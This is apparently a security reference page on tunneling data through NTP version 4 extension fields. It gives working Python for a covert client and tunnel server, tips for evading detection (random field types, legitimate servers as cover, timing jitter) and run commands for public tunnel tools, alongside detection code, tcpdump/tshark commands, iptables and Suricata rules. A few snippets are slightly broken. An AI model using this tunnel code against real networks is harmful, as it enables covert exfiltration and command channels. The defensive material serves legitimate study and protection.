ntp extension field tunneling
on this page
ntp extension field tunneling exploits network time protocol version 4 extension fields to carry arbitrary data. the virus bulletin implementation by nikolaos tsapakis demonstrated 300-500 bytes per packet capacity using random field types to evade detection.
technical description
ntp v4 (rfc 5905) introduced extension fields for future protocol enhancements:
- standard ntp packet: 48 bytes
- with extensions: up to 65535 bytes theoretically
- practical limit: ~500 bytes to avoid fragmentation
- multiple extension fields allowed per packet
- field types largely undefined, allowing arbitrary values
packet structure:
0                   1                   2                   3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|LI | VN  |Mode |    Stratum    |     Poll      |   Precision   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         Root Delay                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         Root Dispersion                       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          Reference ID                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                     Reference Timestamp (64)                  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                      Origin Timestamp (64)                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                      Receive Timestamp (64)                   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                      Transmit Timestamp (64)                  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                 Extension Field 1 (variable)                  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              ...                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
virus bulletin implementation
nikolaos tsapakis research
key findings from virus bulletin presentation:
- random extension field types avoid signature detection
- 300-500 bytes practical payload per packet
- minimal impact on ntp functionality
- works through firewalls allowing ntp
extension field structure
import struct
import random
class NTPExtensionField:
    def __init__(self, data, field_type=None):
        self.data = data
        # use random field type if not specified
        self.field_type = field_type or random.randint(0x8000, 0xFFFF)
        self.length = len(data) + 4  # data + header
    def pack(self):
        """pack extension field for transmission"""
        # field type (2 bytes) + length (2 bytes) + data
        header = struct.pack('!HH', self.field_type, self.length)
        # pad to 4-byte boundary
        padding = (4 - (len(self.data) % 4)) % 4
        padded_data = self.data + b'\x00' * padding
        return header + padded_data
    @staticmethod
    def unpack(data):
        """unpack extension field from packet"""
        field_type, length = struct.unpack('!HH', data[:4])
        payload = data[4:length]
        return NTPExtensionField(payload, field_type)
implementation
ntp packet with covert data
import socket
import struct
import time
class NTPCovertChannel:
    def __init__(self, server='pool.ntp.org', port=123):
        self.server = server
        self.port = port
        self.socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    def create_ntp_packet(self, covert_data=None):
        """create ntp packet with optional extension field"""
        # ntp header (48 bytes)
        # li=0, vn=4, mode=3 (client)
        byte1 = 0b00100011  # 00 100 011
        # standard ntp fields
        packet = struct.pack('!BBBb11I',
            byte1,  # li, vn, mode
            0,      # stratum
            6,      # poll
            0xFA,   # precision
            0, 0,   # root delay
            0,      # root dispersion
            0,      # reference id
            0, 0,   # reference timestamp
            0, 0,   # origin timestamp
            0, 0,   # receive timestamp
            int(time.time()) + 2208988800, 0  # transmit timestamp
        )
        # add extension field with covert data
        if covert_data:
            ext = NTPExtensionField(covert_data)
            packet += ext.pack()
        return packet
    def send_covert_message(self, message):
        """send message via ntp extension fields"""
        # chunk message into 300-byte pieces
        chunk_size = 300
        chunks = [message[i:i+chunk_size]
                 for i in range(0, len(message), chunk_size)]
        for chunk in chunks:
            packet = self.create_ntp_packet(chunk)
            self.socket.sendto(packet, (self.server, self.port))
            time.sleep(1)  # avoid flooding
    def receive_ntp_response(self):
        """receive and extract covert data from response"""
        data, addr = self.socket.recvfrom(1024)
        if len(data) > 48:  # has extension fields
            # skip ntp header
            extensions_data = data[48:]
            # extract extension field
            ext = NTPExtensionField.unpack(extensions_data)
            return ext.data
        return None
bidirectional communication
def ntp_tunnel_server(listen_port=123):
    """ntp server with covert channel capability"""
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.bind(('', listen_port))
    while True:
        data, addr = sock.recvfrom(1024)
        # extract covert data from request
        if len(data) > 48:
            covert_in = data[48:]
            process_incoming_data(covert_in)
        # create response with covert data
        response = create_ntp_response()
        covert_out = get_outgoing_data()
        if covert_out:
            ext = NTPExtensionField(covert_out)
            response += ext.pack()
        sock.sendto(response, addr)
github implementations
jhu ntp covert channel
https://github.com/lacraig2/jhu_ntp_covert_channel:
# clone and compile
git clone https://github.com/lacraig2/JHU_NTP_Covert_Channel.git
cd JHU_NTP_Covert_Channel
make
# run server
sudo ./ntp_covert_server
# run client
./ntp_covert_client server_ip "message to send"
ntp-tunnel
https://github.com/b00tk1d/ntp-tunnel:
# basic tunnel setup
./ntp-tunnel -s server_ip -p 123
# with encryption
./ntp-tunnel -s server_ip -e aes256 -k password
ntptunnel
ricklahaye/ntptunnel - educational implementation (repository currently unavailable/private)
academic research
49 distinct ntp covert channels
pattern-based taxonomy identifies:
-  header fields (14 channels): - leap indicator manipulation
- version number unused bits
- stratum value encoding
- poll interval patterns
 
-  timestamp manipulation (12 channels): - fractional seconds encoding
- timestamp differences
- precision field abuse
 
-  extension fields (8 channels): - arbitrary field types
- multiple extensions
- padding exploitation
 
-  protocol behavior (15 channels): - query frequency patterns
- symmetric/asymmetric modes
- authentication fields
 
detection methods
packet size analysis
def detect_ntp_extensions(packet):
    """detect suspicious ntp packets"""
    # standard ntp packet is 48 bytes
    if len(packet) > 48:
        extension_size = len(packet) - 48
        if extension_size > 100:  # unusual extension
            return "suspicious"
        # check for known extension types
        if len(packet) >= 52:
            ext_type = struct.unpack('!H', packet[48:50])[0]
            # legitimate extension types (nts, etc)
            legitimate_types = [0x0104, 0x0204, 0x0304]
            if ext_type not in legitimate_types:
                return "unknown extension type"
    return "clean"
traffic pattern analysis
# monitor ntp packets >48 bytes
tcpdump -i eth0 'udp port 123 and greater 68' -w suspicious_ntp.pcap
# analyze with tshark
tshark -r suspicious_ntp.pcap -T fields \
  -e frame.len \
  -e ntp.flags \
  -e data.data | \
  awk '$1 > 48 {print}'
statistical detection
from scipy import stats
def statistical_ntp_analysis(packets):
    """detect anomalous ntp traffic"""
    sizes = [len(p) for p in packets]
    # normal ntp: mostly 48 bytes
    # covert channel: varied sizes
    if np.std(sizes) > 50:  # high variance
        return "possible covert channel"
    # check for periodic large packets
    large_packets = [i for i, s in enumerate(sizes) if s > 48]
    if len(large_packets) > 0:
        intervals = np.diff(large_packets)
        if np.std(intervals) < 2:  # regular pattern
            return "periodic extension fields detected"
    return "normal"
countermeasures
firewall rules
# block ntp packets with extensions
iptables -A FORWARD -p udp --dport 123 \
  -m length --length 49:65535 -j DROP
# allow only standard ntp
iptables -A FORWARD -p udp --dport 123 \
  -m length --length 48 -j ACCEPT
ntp proxy filtering
def ntp_proxy_filter(packet):
    """strip extension fields from ntp packets"""
    if len(packet) > 48:
        # keep only standard ntp header
        filtered = packet[:48]
        return filtered
    return packet
ids rules
# suricata rule
alert udp any any -> any 123 (
    msg:"ntp extension field covert channel";
    dsize:>48;
    content:"|00 7b|"; offset:0; depth:2;
    threshold: type limit, track by_src, count 5, seconds 60;
    sid:1000007;
)
performance characteristics
bandwidth
- payload: 300-500 bytes per packet
- overhead: ~52 bytes (48 ntp + 4 extension header)
- efficiency: 85-90%
- practical throughput: 10-50 kb/s
reliability
def calculate_ntp_channel_metrics():
    """calculate channel performance"""
    packet_size = 500  # bytes
    packets_per_second = 10  # avoid detection
    packet_loss = 0.01
    # theoretical bandwidth
    bandwidth = packet_size * packets_per_second * 8  # bits/sec
    # effective bandwidth with loss
    effective = bandwidth * (1 - packet_loss)
    # with error correction overhead (25%)
    usable = effective * 0.75
    return {
        'theoretical_bps': bandwidth,
        'effective_bps': effective,
        'usable_bps': usable
    }
advantages and limitations
advantages
- high capacity (300-500 bytes/packet)
- ntp rarely blocked
- works through nat
- legitimate cover traffic
- bidirectional communication
limitations
- packets >48 bytes suspicious
- limited to udp
- requires ntp infrastructure
- easily filtered at firewall
- extension fields uncommon
real-world considerations
deployment scenarios
- corporate networks with ntp synchronization
- iot devices using ntp
- cloud infrastructure time sync
- academic/research networks
operational security
def opsec_ntp_tunnel():
    """operational security measures"""
    # use legitimate ntp servers as cover
    legitimate_servers = [
        'time.google.com',
        'time.cloudflare.com',
        'pool.ntp.org'
    ]
    # randomize server selection
    server = random.choice(legitimate_servers)
    # add jitter to timing
    delay = random.uniform(60, 300)  # 1-5 minutes
    # limit data rate
    max_bytes_per_hour = 10000
    return server, delay, max_bytes_per_hour
testing setup
lab environment
# setup ntp server with extension support
apt install chrony
# configure for testing
cat >> /etc/chrony/chrony.conf << EOF
allow 192.168.1.0/24
local stratum 10
EOF
# restart service
systemctl restart chrony
# test with extension fields
python ntp_extension_test.py
# capture traffic
tcpdump -i any -w ntp_tunnel.pcap 'port 123'
validation
def validate_ntp_tunnel(pcap_file):
    """verify covert channel operation"""
    from scapy.all import rdpcap
    packets = rdpcap(pcap_file)
    ntp_packets = [p for p in packets if p.haslayer(UDP) and p[UDP].dport == 123]
    extensions_found = 0
    total_covert_bytes = 0
    for p in ntp_packets:
        payload = bytes(p[UDP].payload)
        if len(payload) > 48:
            extensions_found += 1
            total_covert_bytes += len(payload) - 48
    print(f"packets with extensions: {extensions_found}")
    print(f"total covert data: {total_covert_bytes} bytes")
references
- “hide and seek with ntp” - virus bulletin conference, nikolaos tsapakis
- rfc 5905: network time protocol version 4
- “a pattern-based survey and categorization of network covert channels” - steffen wendzel
- “covert channels in ntp” - ieee communications
- jhu ntp implementation: https://github.com/lacraig2/jhu_ntp_covert_channel